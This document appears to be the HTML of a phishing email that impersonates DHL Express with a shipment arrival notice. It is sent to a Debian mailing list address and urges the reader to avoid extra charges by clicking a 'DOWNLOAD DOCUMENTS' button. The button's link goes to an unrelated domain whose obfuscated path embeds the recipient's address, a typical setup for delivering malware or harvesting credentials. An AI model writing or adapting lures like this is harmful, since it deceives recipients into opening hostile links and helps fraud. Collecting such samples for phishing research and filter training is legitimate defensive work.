<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Shipping Documents and Arrival Notice</title>
<style>
.notification-box {
border: 0.5px solid #000; /* Thick black border */
padding: 20px;
margin: 20px 0; /* Remove auto to align left */
max-width: 600px;
background-color: white ; /* Updated background color */
border-radius: 5px;
color: #333; /* Text color */
text-align: left; /* Ensure text alignment is left */
}
.notification-box h2 {
margin-top: 0;
font-size: 1.5em;
color: #000; /* Header color */
}
.notification-box p {
margin: 0 0 10px;
}
.notification-box ul {
margin: 0 0 10px;
padding-left: 20px;
}
.notification-box a {
text-decoration: none;
}
.notification-box a:hover {
text-decoration: underline;
}
.logo {
text-align: left;
margin-bottom: 20px;
}
.logo img {
max-width: 600px; /* Adjust size as needed */
height: auto;
}
.download-button {
display: inline-flex;
align-items: center;
padding: 10px 20px;
margin-top: 10px;
background-color: #ffd940; /* Orange background color */
color: #000; /* Black text color */
text-align: center;
text-decoration: none;
border-radius: 5px;
font-weight: bold; /* Make text bold */
border: none;
cursor: pointer; /* Change cursor to pointer for better UX */
}
.download-button:hover {
background-color: #ffd940; /* Slightly darker orange on hover */
}
.download-button img {
vertical-align: middle;
margin-right: 8px; /* Space between icon and text */
width: 20px; /* Set appropriate size for the icon */
height: 20px; /* Set appropriate size for the icon */
}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<div style="border: 0.5px solid #000; /* Thick black border */
padding: 20px;
margin: 20px 0; /* Remove auto to align left */
max-width: 600px;
background-color: white ; /* Updated background color */
border-radius: 5px;
color: #333; /* Text color */
text-align: left; /* Ensure text alignment is left */" class="notification-box">
<div class="logo">
<img alt="Company Logo" src="cid:dhl.png" width="1190" height="194">
</div>
<h2 style="margin-top: 0;
font-size: 1.5em;
color: #000; /* Header color */">Important: Notification for shipment </h2>
<p style="margin: 0 0 10px">Dear Valued Customer, <strong>(pkg-gnutls-maint@lists.alioth.debian.org)</strong>,</p>
<p style="margin: 0 0 10px">We are pleased to notify you that your consignment is set to arrive at the Point of Delivery soon. To ensure a seamless delivery process and prevent any additional charges, please review and act upon the following information at your earliest convenience.</p>
<p style="margin: 0 0 10px">Enclosed are the essential details of your consignment, along with conditions of release and any possible outstanding charges:</p>
<ul style="margin: 0 0 10px;
padding-left: 20px">
<li><strong>AWB, Invoice, and other consignment related documents</strong></li>
<li><strong>Copy of Manifest</strong></li>
<li><strong>Copy of MAWB</strong></li>
<li><strong>Customs Reference Number or other Customs-related instructions</strong></li>
</ul>
<p style="margin: 0 0 10px"><a class="download-button" href="https://Lists.aalrnar.com/xusbhrkahhdzonp/rbwmqvqxgkmiq/Zdhdyukhyqdwrwe89g0xmaersk/qbmpdnaidkbbpl/wzudcldhdxv/pkg-gnutls-maint/hebjrknichx/lists.alioth.debian.org/bcwmnnaiyggm8" download="">
<img alt="PDF Icon" src="cid:2.png" width="22" height="21"> DOWNLOAD DOCUMENTS
</a></p>
<p style="margin: 0 0 10px">Should you find any discrepancies or have any questions about the documents, please reach out to us without delay. We are dedicated to providing prompt assistance with any issues you may encounter.</p>
<p style="margin: 0 0 10px">Thank you for your prompt attention to this matter.</p>
<p style="margin: 0 0 10px">
<br>
<strong>DHL Express - Excellence. Simply delivered.</strong><br>
<br>
</div>
</body></html>